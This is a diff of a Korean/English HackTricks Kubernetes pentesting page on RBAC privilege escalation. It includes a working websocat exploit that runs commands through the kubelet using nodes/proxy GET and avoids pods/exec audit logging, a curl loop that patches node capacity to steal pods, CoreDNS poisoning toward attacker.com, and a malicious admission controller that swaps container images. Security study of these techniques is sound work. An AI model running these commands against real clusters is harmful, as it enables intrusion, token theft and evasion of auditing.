`victim.com`에 접근할 때 실제로는 `attacker.com`이 접속되도록 수정할 수 있습니다. 그런 다음 `kubectl apply -f poison_dns.yaml`를 실행해 적용합니다. + +Another option is to just edit the file running `kubectl edit configmap coredns -n kube-system` and making changes. + +또 다른 방법은 `kubectl edit configmap coredns -n kube-system`를 실행해 파일을 직접 편집하는 것입니다. + +### Escalating in GKE ### GKE에서의 권한 상승 -GCP 주체에 K8s 권한을 할당하는 **2가지 방법**이 있습니다. 어떤 경우든 주체는 클러스터에 접근하기 위한 자격 증명을 수집할 수 있도록 **`container.clusters.get`** 권한이 필요하며, 그렇지 않으면 **자신의 kubectl 구성 파일을 생성해야** 합니다 (다음 링크를 따르세요). +There are **2 ways to assign K8s permissions to GCP principals**. In any case the principal also needs the permission **`container.clusters.get`** to be able to gather credentials to access the cluster, or you will need to **generate your own kubectl config file** (follow the next link). + +**K8s 권한을 GCP principal에 할당하는 방법은 2가지**가 있습니다. 어떤 경우든 principal(주체)은 클러스터 접근에 필요한 자격증명을 수집하기 위해 **`container.clusters.get`** 권한이 필요하거나, 아니면 **자신의 kubectl config 파일을 생성해야** 합니다 (다음 링크를 따르세요). > [!WARNING] -> K8s API 엔드포인트와 통신할 때 **GCP 인증 토큰이 전송됩니다**. 그런 다음 GCP는 K8s API 엔드포인트를 통해 **주체**(이메일로)가 클러스터 내에서 **접근할 수 있는지** 먼저 **확인**하고, 그 다음 **GCP IAM을 통해 접근할 수 있는지** 확인합니다.\ -> 이 중 **하나라도** **참이면**, 응답을 받게 됩니다. **아니면** **GCP IAM을 통해 권한을 부여하라는** 오류가 발생합니다. +> When talking to the K8s api endpoint, the **GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**.\ +> If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given. -첫 번째 방법은 **GCP IAM**을 사용하는 것이며, K8s 권한은 **상응하는 GCP IAM 권한**이 있으며, 주체가 이를 가지고 있다면 사용할 수 있습니다. +> [!WARNING] +> K8s api endpoint와 통신할 때, **GCP auth token이 전송됩니다**. 그런 다음 GCP는 K8s api endpoint를 통해 먼저 **principal(이메일)에 클러스터 내부 접근 권한이 있는지 확인**하고, 그다음 **GCP IAM을 통한 접근 권한이 있는지** 확인합니다.\ +> 만약 **그 중 어느 하나라도** 참이면 응답이 반환됩니다. 그렇지 않으면 **GCP IAM을 통해 권한을 부여하라**는 오류가 표시됩니다. + +Then, the first method is using **GCP IAM**, the K8s permissions have their **equivalent GCP IAM permissions**, and if the principal have it, it will be able to use it. + +첫 번째 방법은 **GCP IAM**을 사용하는 것입니다. K8s 권한은 대응되는 **GCP IAM 권한**이 있으며, principal이 해당 권한을 가지고 있으면 이를 사용할 수 있습니다. {{#ref}} ../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md {{#endref}} -두 번째 방법은 **클러스터 내에서 K8s 권한을 할당하는 것**으로, 사용자를 **이메일**로 식별합니다 (GCP 서비스 계정 포함). +The second method is **assigning K8s permissions inside the cluster** to the identifying the user by its **email** (GCP service accounts included). -### 서비스 계정 토큰 생성 +두 번째 방법은 클러스터 내부에서 사용자를 **이메일로 식별하여 K8s 권한을 할당하는 것**입니다 (GCP service accounts 포함). -**TokenRequests** (`serviceaccounts/token`)를 **생성할 수 있는 주체**는 K8s API 엔드포인트와 통신할 때 SAs (정보는 [**여기**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). +### Create serviceaccounts token + +### serviceaccounts 토큰 생성 + +Principals that can **create TokenRequests** (`serviceaccounts/token`) When talking to the K8s api endpoint SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). + +`TokenRequests` (`serviceaccounts/token`)를 생성할 수 있는 principal들. K8s api endpoint와 관련된 SAs 정보는 [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)에서 확인하세요. ### ephemeralcontainers -**`update`** 또는 **`patch`** **`pods/ephemeralcontainers`**를 할 수 있는 주체는 **다른 pods에서 코드 실행**을 얻을 수 있으며, 특권 있는 securityContext로 ephemeral container를 추가하여 **노드에서 탈출**할 수 있습니다. +### ephemeralcontainers + +Principals that can **`update`** or **`patch`** **`pods/ephemeralcontainers`** can gain **code execution on other pods**, and potentially **break out** to their node by adding an ephemeral container with a privileged securityContext + +**`pods/ephemeralcontainers`**를 **`update`** 또는 **`patch`**할 수 있는 principal은 다른 파드에서 **코드 실행**을 획득할 수 있으며, privileged securityContext를 가진 ephemeral container를 추가하여 노드로의 **탈출**을 시도할 수 있습니다. + +### ValidatingWebhookConfigurations or MutatingWebhookConfigurations ### ValidatingWebhookConfigurations 또는 MutatingWebhookConfigurations -`validatingwebhookconfigurations` 또는 `mutatingwebhookconfigurations`에 대해 `create`, `update` 또는 `patch` 동사를 가진 주체는 **권한 상승**을 위해 **이러한 webhookconfigurations 중 하나를 생성**할 수 있습니다. +Principals with any of the verbs `create`, `update` or `patch` over `validatingwebhookconfigurations` or `mutatingwebhookconfigurations` might be able to **create one of such webhookconfigurations** in order to be able to **escalate privileges**. -[`mutatingwebhookconfigurations` 예제는 이 게시물의 이 섹션을 확인하세요](#malicious-admission-controller). +`validatingwebhookconfigurations` 또는 `mutatingwebhookconfigurations`에 대해 `create`, `update`, `patch` 중 하나라도 허용된 principal은 해당 webhookconfiguration을 생성하여 **권한 상승**을 시도할 수 있습니다. + +For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller). + +### Escalate ### 권한 상승 -다음 섹션에서 읽을 수 있듯이: [**내장된 권한 상승 방지**](#built-in-privileged-escalation-prevention), 주체는 자신이 새로운 권한을 가지지 않고는 역할이나 클러스터 역할을 업데이트하거나 생성할 수 없습니다. 단, **`roles`** 또는 **`clusterroles`**에 대해 **`escalate` 또는 `*`** 동사를 가지고 있고 해당 바인딩 옵션이 있는 경우에 한합니다.\ -그렇다면 그는 더 나은 권한을 가진 새로운 역할, 클러스터 역할을 업데이트/생성할 수 있습니다. +As you can read in the next section: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the **verb `escalate` or `*`** over **`roles`** or **`clusterroles`** and the respective binding options.\ +Then he can update/create new roles, clusterroles with better permissions than the ones he has. -### 노드 프록시 +다음 섹션: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention)에서 설명한 것처럼, principal은 자신에게 해당 권한이 없으면 roles 또는 clusterroles를 생성하거나 업데이트할 수 없습니다. 단, roles 또는 clusterroles에 대해 **동사 `escalate` 또는 `*`** 및 해당 바인딩 옵션을 가진 경우는 예외입니다.\ 이 경우 그는 자신이 가진 것보다 더 높은 권한을 가진 roles/clusterroles를 생성하거나 업데이트할 수 있습니다. -**`nodes/proxy`** 하위 리소스에 접근할 수 있는 주체는 Kubelet API를 통해 **pods에서 코드 실행**을 할 수 있습니다 (정보는 [**이곳**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Kubelet 인증에 대한 더 많은 정보는 이 페이지에서 확인하세요: +### Nodes proxy + +### Nodes proxy + +Principals with access to the **`nodes/proxy`** subresource can **execute code on pods** via the Kubelet API (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). More information about Kubelet authentication in this page: + +**`nodes/proxy`** 서브리소스에 접근할 수 있는 principal은 Kubelet API를 통해 파드에서 **코드 실행**을 할 수 있습니다 (자세한 내용은 [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego) 참조). Kubelet 인증에 대한 자세한 정보는 다음 페이지를 확인하세요: {{#ref}} ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md {{#endref}} -[**Kubelet API에 권한이 있는 RCE를 얻는 방법은 여기**](../pentesting-kubernetes-services/index.html#kubelet-rce)에서 확인할 수 있습니다. +#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion -### pods 삭제 + 스케줄 불가능한 노드 +#### nodes/proxy GET -> Kubelet /exec via WebSocket 동사 혼동 -**pods를 삭제**할 수 있는 주체(`pods` 리소스에 대한 `delete` 동사) 또는 **pods를 퇴거**할 수 있는 주체(`pods/eviction` 리소스에 대한 `create` 동사) 또는 **pod 상태를 변경**할 수 있는 주체(`pods/status` 접근)와 **다른 노드를 스케줄 불가능하게 만들 수 있는 주체**(`nodes/status` 접근) 또는 **노드를 삭제**할 수 있는 주체(`nodes` 리소스에 대한 `delete` 동사)와 pod에 대한 제어 권한이 있는 경우, **다른 노드에서 pods를 훔쳐** **손상된** **노드**에서 **실행**되도록 할 수 있으며, 공격자는 이러한 pods에서 **토큰을 훔칠** 수 있습니다. +- Kubelet maps HTTP methods to RBAC verbs **before** protocol upgrade. WebSocket handshakes must start with **HTTP GET** (`Connection: Upgrade`), so `/exec` over WebSocket is checked as **verb `get`** instead of the expected `create`. +- `/exec`, `/run`, `/attach`, and `/portforward` are not explicitly mapped and fall into the default **`proxy`** subresource, so the authorization question becomes **`can get nodes/proxy?`** +- If a token only has **`nodes/proxy` + `get`**, direct WebSocket access to the kubelet on `https://:10250` allows arbitrary command execution in any pod on that node. The same request via the API server proxy path (`/api/v1/nodes//proxy/exec/...`) is denied because it is a normal HTTP POST and maps to `create`. +- The kubelet performs no second authorization after the WebSocket upgrade; only the initial GET is evaluated. + +- Kubelet은 프로토콜 업그레이드 이전에 HTTP 메서드를 RBAC 동사로 매핑합니다. WebSocket 핸드셰이크는 반드시 **HTTP GET** (`Connection: Upgrade`)으로 시작해야 하므로, WebSocket을 통한 `/exec`는 기대되는 `create` 대신 **동사 `get`**으로 체크됩니다. +- `/exec`, `/run`, `/attach`, `/portforward`는 명시적으로 매핑되지 않아 기본 **`proxy`** 서브리소스로 처리되므로 권한 검사 질문은 **`can get nodes/proxy?`**가 됩니다. +- 토큰에 **`nodes/proxy` + `get`**만 있는 경우, `https://:10250`로 kubelet에 대한 직접 WebSocket 접근은 해당 노드의 어떤 파드에서도 임의 명령 실행을 허용합니다. 반면 API 서버 프록시 경로(`/api/v1/nodes//proxy/exec/...`)를 통한 동일한 요청은 일반 HTTP POST로 처리되어 `create`로 매핑되므로 거부됩니다. +- kubelet은 WebSocket 업그레이드 이후에 추가적인 권한 검사를 수행하지 않습니다; 초기 GET만 평가됩니다. + +**Direct exploit (requires network reachability to the kubelet and a token with `nodes/proxy` GET):** + +**직접 익스플로잇(요구사항: kubelet에 대한 네트워크 접근성 및 `nodes/proxy` GET 권한을 가진 토큰):** +```bash +kubectl auth can-i --list | grep "nodes/proxy" +websocat --insecure \ +--header "Authorization: Bearer $TOKEN" \ +--protocol "v4.channel.k8s.io" \ +"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id" +``` +- 노드 이름이 아니라 **Node IP**를 사용하세요. 동일한 요청을 `curl -X POST`로 하면 `create`에 매핑되기 때문에 **Forbidden**가 됩니다. +- kubelet에 직접 접근하면 API server를 우회하므로 AuditPolicy는 kubelet user agent의 `subjectaccessreviews`만 표시하며 **`pods/exec`를 기록하지 않습니다**. +- [탐지 스크립트](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a)로 영향받는 서비스 계정들을 열거하여 `nodes/proxy` GET으로 제한된 토큰을 찾으세요. + +### pods 삭제 + 스케줄링 불가능한 nodes + +다음 권한을 가진 principals는, pod를 제어할 수 있는 경우, 다른 노드의 pods를 훔쳐와 취약한 node에서 실행되게 하고 공격자가 해당 pods로부터 토큰을 훔칠 수 있습니다: **delete pods** (`delete` verb over `pods` resource), **evict pods** (`create` verb over `pods/eviction` resource), **change pod status** (access to `pods/status`) 및 다른 노드를 **unschedulable**로 만들 수 있는 권한 (access to `nodes/status`) 또는 **delete nodes** (`delete` verb over `nodes` resource). ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -641,43 +704,43 @@ while true; do patch_node_capacity ; done & kubectl delete pods -n kube-system ``` -### Services status (CVE-2020-8554) +### Services 상태 (CVE-2020-8554) -**`services/status`**를 **수정**할 수 있는 주체는 `status.loadBalancer.ingress.ip` 필드를 설정하여 **수정되지 않은 CVE-2020-8554**를 악용하고 **클러스터에 대한 MiTM 공격**을 시작할 수 있습니다. CVE-2020-8554에 대한 대부분의 완화 조치는 ExternalIP 서비스만 방지합니다 ([**이**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego) 참조). +**`services/status`**를 **수정할 수 있는** 주체는 `status.loadBalancer.ingress.ip` 필드를 설정하여 **미해결 CVE-2020-8554**를 악용하고 **MiTM 공격을 클러스터에 대한** 시작할 수 있습니다. 대부분의 CVE-2020-8554 완화책은 ExternalIP services만 차단합니다(자세한 내용은 [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego) 참조). -### Nodes and Pods status +### Nodes 및 Pods 상태 -`nodes/status` 또는 `pods/status`에 대한 **`update`** 또는 **`patch`** 권한이 있는 주체는 레이블을 수정하여 강제된 스케줄링 제약에 영향을 줄 수 있습니다. +`nodes/status` 또는 `pods/status`에 대해 **`update`** 또는 **`patch`** 권한을 가진 주체는 스케줄링 제약(scheduling constraints)에 영향을 주도록 레이블을 수정할 수 있습니다. ## Built-in Privileged Escalation Prevention -Kubernetes는 권한 상승을 방지하기 위한 [내장 메커니즘](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)을 가지고 있습니다. +Kubernetes에는 권한 상승을 방지하는 [내장 메커니즘](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)이 있습니다. -이 시스템은 **사용자가 역할이나 역할 바인딩을 수정하여 권한을 상승시킬 수 없도록 보장**합니다. 이 규칙의 시행은 API 수준에서 이루어지며, RBAC 인가자가 비활성화되어 있을 때도 안전 장치를 제공합니다. +이 시스템은 **사용자가 roles 또는 role bindings을 수정하여 권한을 상승시키지 못하도록** 보장합니다. 이 규칙의 적용은 API 레벨에서 이루어지며 RBAC authorizer가 비활성화된 경우에도 보호를 제공합니다. -규칙은 **사용자가 역할을 생성하거나 업데이트할 수 있는 것은 그 역할이 포함하는 모든 권한을 보유하고 있을 때만 가능**하다고 명시합니다. 또한, 사용자의 기존 권한 범위는 생성하거나 수정하려는 역할의 범위와 일치해야 합니다: ClusterRoles의 경우 클러스터 전체에 대해, Roles의 경우 동일한 네임스페이스(또는 클러스터 전체)에 제한됩니다. +규칙은 **사용자가 role에 포함된 모든 권한을 보유한 경우에만 role을 생성하거나 업데이트할 수 있다**고 규정합니다. 또한 사용자가 이미 가진 권한의 범위는 생성/수정하려는 role의 범위와 일치해야 합니다: ClusterRoles의 경우 클러스터 전체, Roles의 경우 동일한 네임스페이스(또는 클러스터 전체)로 제한됩니다. > [!WARNING] -> 이전 규칙에 대한 예외가 있습니다. 주체가 **`roles`** 또는 **`clusterroles`**에 대해 **`escalate`** 동사를 가지고 있다면, 자신이 권한을 가지고 있지 않더라도 역할과 클러스터 역할의 권한을 증가시킬 수 있습니다. +> 이전 규칙에는 예외가 있습니다. 주체가 **`roles`** 또는 **`clusterroles`**에 대해 **verb `escalate`** 권한을 가지고 있다면, 자신이 그 권한을 직접 보유하지 않아도 roles 및 clusterroles의 권한을 상승시킬 수 있습니다. ### **Get & Patch RoleBindings/ClusterRoleBindings** > [!CAUTION] -> **이 기술은 이전에 작동했지만, 내 테스트에 따르면 이전 섹션에서 설명한 동일한 이유로 더 이상 작동하지 않습니다. 이미 권한이 없는 경우 자신이나 다른 SA에게 권한을 부여하기 위해 rolebinding을 생성/수정할 수 없습니다.** +> **이 기술은 예전에는 작동했지만, 제 테스트에 따르면 이전 섹션에서 설명한 동일한 이유로 더 이상 작동하지 않습니다. 이미 권한을 가지고 있지 않다면 자신이나 다른 SA에게 권한을 부여하기 위해 rolebinding을 생성/수정할 수 없습니다.** -Rolebindings를 생성할 수 있는 권한은 사용자가 **서비스 계정에 역할을 바인딩**할 수 있게 합니다. 이 권한은 **사용자가 손상된 서비스 계정에 관리자 권한을 바인딩할 수 있게 하여 권한 상승으로 이어질 수 있습니다.** +Rolebindings을 생성할 수 있는 권한은 사용자가 **role을 service account에 바인딩**할 수 있게 합니다. 이 권한은 사용자가 **관리자 권한(admin privileges)을 손상된 service account에 바인딩**할 수 있으므로 잠재적인 권한 상승으로 이어질 수 있습니다. ## Other Attacks ### Sidecar proxy app -기본적으로 pods 간의 통신에는 암호화가 없습니다. 상호 인증, 양방향, pod 간의 통신입니다. +기본적으로 pods 간 통신에는 암호화가 없습니다. 상호 인증(mutual authentication), 양방향, pod 간 통신 보호가 없습니다. #### Create a sidecar proxy app -사이드카 컨테이너는 **pod 내부에 두 번째(또는 그 이상의) 컨테이너를 추가하는 것**으로 구성됩니다. +사이드카 컨테이너는 단순히 pod 내부에 **두 번째(또는 그 이상) 컨테이너를 추가하는 것**으로 구성됩니다. -예를 들어, 다음은 2개의 컨테이너가 있는 pod의 구성 일부입니다: +예를 들어, 다음은 컨테이너 2개를 가진 pod의 구성 일부입니다: ```yaml spec: containers: @@ -687,47 +750,47 @@ image: nginx image: busybox command: ["sh","-c",""] ``` -기존의 포드에 새로운 컨테이너로 백도어를 추가하려면 사양에 새로운 컨테이너를 추가하면 됩니다. 두 번째 컨테이너에 첫 번째 컨테이너가 가지지 않는 **더 많은 권한**을 **부여할 수** 있다는 점에 유의하세요. +예를 들어, 기존 pod에 새 container로 backdoor를 심으려면 specification에 새 container를 추가하기만 하면 됩니다. 참고로 두 번째 container에 첫 번째 container가 가지지 못한 **더 많은 권한**을 부여할 수 있다는 점에 유의하세요. -자세한 정보는 다음을 참조하세요: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) -### 악의적인 어드미션 컨트롤러 +### 악성 Admission Controller -어드미션 컨트롤러는 **객체의 지속화 전에 Kubernetes API 서버에 대한 요청을 가로챕니다**, 하지만 **요청이 인증되고** **권한이 부여된 후**에 가로챕니다. +admission controller는 객체가 영구 저장되기 전에, 그러나 요청이 **인증된 후** **그리고 권한이 부여된 후**에 **Kubernetes API server로의 요청을 가로챕니다**. -공격자가 어떻게든 **Mutation Admission Controller를 주입**하는 데 성공하면, 그는 **이미 인증된 요청을 수정**할 수 있게 됩니다. 이는 잠재적으로 권한 상승을 할 수 있으며, 더 일반적으로 클러스터에 지속적으로 남아 있을 수 있습니다. +만약 공격자가 어떻게든 **Mutation Admission Controller를 주입(inject)**하는 데 성공하면, 이미 인증된 요청을 **수정(modify)**할 수 있게 됩니다. 이는 잠재적으로 privesc를 가능하게 하며, 더 흔하게는 클러스터에 지속적으로 남을 수 있습니다. -**예시 출처** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): +**예제 출처** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo cd malicious-admission-controller-webhook-demo ./deploy.sh kubectl get po -n webhook-demo -w ``` -상태를 확인하여 준비가 되었는지 확인하세요: +준비되었는지 상태를 확인하세요: ```bash kubectl get mutatingwebhookconfigurations kubectl get deploy,svc -n webhook-demo ``` ![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp) -그런 다음 새 포드를 배포합니다: +그런 다음 새 pod를 배포하세요: ```bash kubectl run nginx --image nginx kubectl get po -w ``` -`ErrImagePull` 오류가 발생하면 다음 쿼리 중 하나로 이미지 이름을 확인하세요: +`ErrImagePull` 오류가 보일 경우, 다음 쿼리 중 하나로 이미지 이름을 확인하세요: ```bash kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}' kubectl describe po nginx | grep "Image: " ``` ![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp) -위 이미지에서 볼 수 있듯이, 우리는 `nginx` 이미지를 실행하려고 했지만 최종 실행된 이미지는 `rewanthtammana/malicious-image`입니다. 도대체 무슨 일이 일어난 걸까요!? +위 이미지에서 보듯이, 우리는 `nginx` 이미지를 실행하려 했지만 실제로 실행된 이미지는 `rewanthtammana/malicious-image`였습니다. 무슨 일이 일어난 건가요!? -#### Technicalities +#### 기술적 세부사항 -`./deploy.sh` 스크립트는 요청을 Kubernetes API에 수정하는 변형 웹후크 승인 컨트롤러를 설정하며, 이는 구성 라인에 지정된 대로 결과에 영향을 미칩니다: +`./deploy.sh` 스크립트는 mutating webhook admission controller를 설정하며, 구성 파일의 설정에 따라 Kubernetes API로 향하는 요청을 수정하여 관찰된 결과에 영향을 미칩니다: ``` patches = append(patches, patchOperation{ Op: "replace", @@ -735,9 +798,9 @@ Path: "/spec/containers/0/image", Value: "rewanthtammana/malicious-image", }) ``` -위의 스니펫은 모든 포드의 첫 번째 컨테이너 이미지를 `rewanthtammana/malicious-image`로 교체합니다. +위 스니펫은 모든 pod의 첫 번째 컨테이너 이미지를 `rewanthtammana/malicious-image`로 교체합니다. -## OPA Gatekeeper 우회 +## OPA Gatekeeper bypass {{#ref}} ../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md @@ -745,18 +808,18 @@ Value: "rewanthtammana/malicious-image", ## 모범 사례 -### **서비스 계정 토큰의 자동 마운트 비활성화** +### **Service Account Token 자동 마운트 비활성화** -- **포드 및 서비스 계정**: 기본적으로 포드는 서비스 계정 토큰을 마운트합니다. 보안을 강화하기 위해 Kubernetes는 이 자동 마운트 기능을 비활성화할 수 있도록 허용합니다. -- **적용 방법**: Kubernetes 버전 1.6부터 서비스 계정 또는 포드의 구성에서 `automountServiceAccountToken: false`로 설정합니다. +- **Pods and Service Accounts**: 기본적으로 pods는 service account 토큰을 마운트합니다. 보안을 강화하기 위해 Kubernetes에서는 이 자동 마운트 기능을 비활성화할 수 있습니다. +- **How to Apply**: Kubernetes 버전 1.6부터 service accounts 또는 pods의 설정에서 `automountServiceAccountToken: false`로 설정하세요. -### **RoleBindings/ClusterRoleBindings에서 제한적인 사용자 할당** +### **RoleBindings/ClusterRoleBindings에서의 사용자 제한 할당** -- **선택적 포함**: RoleBindings 또는 ClusterRoleBindings에 필요한 사용자만 포함되도록 합니다. 정기적으로 감사하고 관련 없는 사용자를 제거하여 보안을 강화합니다. +- **Selective Inclusion**: RoleBindings 또는 ClusterRoleBindings에는 필요한 사용자만 포함되도록 하세요. 정기적으로 감사(audit)하여 관련 없는 사용자를 제거해 보안을 유지하세요. -### **클러스터 전체 역할보다 네임스페이스 특정 역할 사용** +### **네임스페이스별 Roles 사용 (클러스터 전체 Roles 대신)** -- **Roles vs. ClusterRoles**: 클러스터 전체에 적용되는 ClusterRoles 및 ClusterRoleBindings보다 네임스페이스 특정 권한에 대해 Roles 및 RoleBindings를 사용하는 것이 좋습니다. 이 접근 방식은 더 세밀한 제어를 제공하고 권한의 범위를 제한합니다. +- **Roles vs. ClusterRoles**: 클러스터 전체에 적용되는 ClusterRoles 및 ClusterRoleBindings 대신 네임스페이스별 권한에는 Roles 및 RoleBindings 사용을 권장합니다. 이 방법은 더 세밀한 제어와 권한 범위 제한을 제공합니다. ### **자동화 도구 사용** @@ -772,12 +835,15 @@ https://github.com/aquasecurity/kube-hunter https://github.com/aquasecurity/kube-bench {{#endref}} -## **참고 문헌** +## **References** - [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions) - [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1) - [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) - [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html) - [**https://kubenomicon.com/**](https://kubenomicon.com/) +- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) +- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) +- [websocat](https://github.com/vi/websocat) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md index ee3700e2d..b2faca669 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md @@ -1,25 +1,25 @@ -# Kubelet Authentication & Authorization +# Kubelet 인증 및 권한 부여 {{#include ../../../banners/hacktricks-training.md}} -## Kubelet Authentication +## Kubelet 인증 -[**문서에서:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) -기본적으로, 다른 구성된 인증 방법에 의해 거부되지 않은 kubelet의 HTTPS 엔드포인트에 대한 요청은 익명 요청으로 처리되며, **`system:anonymous`**라는 **사용자 이름**과 **`system:unauthenticated`**라는 **그룹**이 부여됩니다. +기본적으로, 다른 구성된 인증 방법들에 의해 거부되지 않는 kubelet의 HTTPS 엔드포인트로의 요청은 익명 요청으로 처리되며, **username of `system:anonymous`** 및 **group of `system:unauthenticated`** 가 부여됩니다. -**3** 가지 인증 **방법**은 다음과 같습니다: +인증 **방법**은 총 **3**가지입니다: -- **익명** (기본값): 매개변수 **`--anonymous-auth=true`** 또는 구성 설정을 사용합니다: +- **Anonymous** (기본값): 파라미터 **`--anonymous-auth=true`** 또는 구성에서 설정: ```json "authentication": { "anonymous": { "enabled": true }, ``` -- **Webhook**: 이것은 kubectl **API bearer tokens**를 인증으로 **활성화**합니다 (유효한 모든 토큰이 유효합니다). 다음과 같이 허용합니다: -- `authentication.k8s.io/v1beta1` API 그룹이 API 서버에서 활성화되어 있는지 확인합니다. -- **`--authentication-token-webhook`** 및 **`--kubeconfig`** 플래그로 kubelet을 시작하거나 다음 설정을 사용합니다: +- **Webhook**: 이는 kubectl **API bearer tokens**를 인증 수단으로 **활성화**합니다 (유효한 토큰이라면 모두 허용됩니다). 허용하려면: +- API 서버에서 `authentication.k8s.io/v1beta1` API 그룹이 활성화되어 있는지 확인하십시오 +- kubelet을 **`--authentication-token-webhook`** 및 **`--kubeconfig`** 플래그로 시작하거나 다음 설정을 사용하십시오: ```json "authentication": { "webhook": { @@ -28,11 +28,11 @@ }, ``` > [!NOTE] -> kubelet은 구성된 API 서버에서 **`TokenReview` API**를 호출하여 **사용자 정보를 결정**합니다. +> kubelet는 구성된 API 서버에서 **`TokenReview` API**를 호출하여 bearer tokens로부터 **사용자 정보를 파악합니다** -- **X509 클라이언트 인증서:** X509 클라이언트 인증서를 통해 인증을 허용합니다. -- 자세한 내용은 [apiserver 인증 문서](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs)를 참조하십시오. -- `--client-ca-file` 플래그로 kubelet을 시작하여 클라이언트 인증서를 검증할 CA 번들을 제공합니다. 또는 구성으로: +- **X509 client certificates:** X509 클라이언트 인증서를 통해 인증할 수 있습니다 +- see the [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) for more details +- kubelet을 `--client-ca-file` 플래그로 시작하여 클라이언트 인증서를 검증할 CA 번들을 제공합니다. 또는 다음 설정으로: ```json "authentication": { "x509": { @@ -40,16 +40,16 @@ } } ``` -## Kubelet Authorization +## Kubelet 권한 -성공적으로 인증된 모든 요청(익명 요청 포함)은 **그 다음에 권한이 부여됩니다**. **기본** 권한 부여 모드는 **`AlwaysAllow`**로, **모든 요청을 허용합니다**. +성공적으로 인증된 모든 요청(익명 요청 포함)은 **권한이 부여됩니다**. 기본 **권한 부여 모드**는 **`AlwaysAllow`**로, 이는 **모든 요청을 허용합니다**. -그러나 다른 가능한 값은 **`webhook`**입니다(대부분의 경우 **여기서 찾을 수 있는 것**입니다). 이 모드는 **인증된 사용자의 권한을 확인**하여 작업을 허용하거나 거부합니다. +하지만 다른 가능한 값은 **`webhook`**입니다(실제로 **대부분 이 값을 보게 될 것입니다**). 이 모드는 **인증된 사용자의 권한을 검사**하여 작업을 허용하거나 거부합니다. > [!WARNING] -> **익명 인증이 활성화되어 있더라도** **익명 접근**이 **어떤 작업을 수행할 권한이 없을 수 있습니다**. +> 설사 **익명 인증**이 활성화되어 있더라도, **익명 접근**은 어떤 작업도 **수행할 권한이 없을 수 있습니다**. -웹훅을 통한 권한 부여는 **파라미터 `--authorization-mode=Webhook`**를 사용하거나 구성 파일을 통해 설정할 수 있습니다: +Webhook을 통한 권한 부여는 **param `--authorization-mode=Webhook`**을 사용하거나 구성 파일을 통해 다음과 같이 설정할 수 있습니다: ```json "authorization": { "mode": "Webhook", @@ -59,41 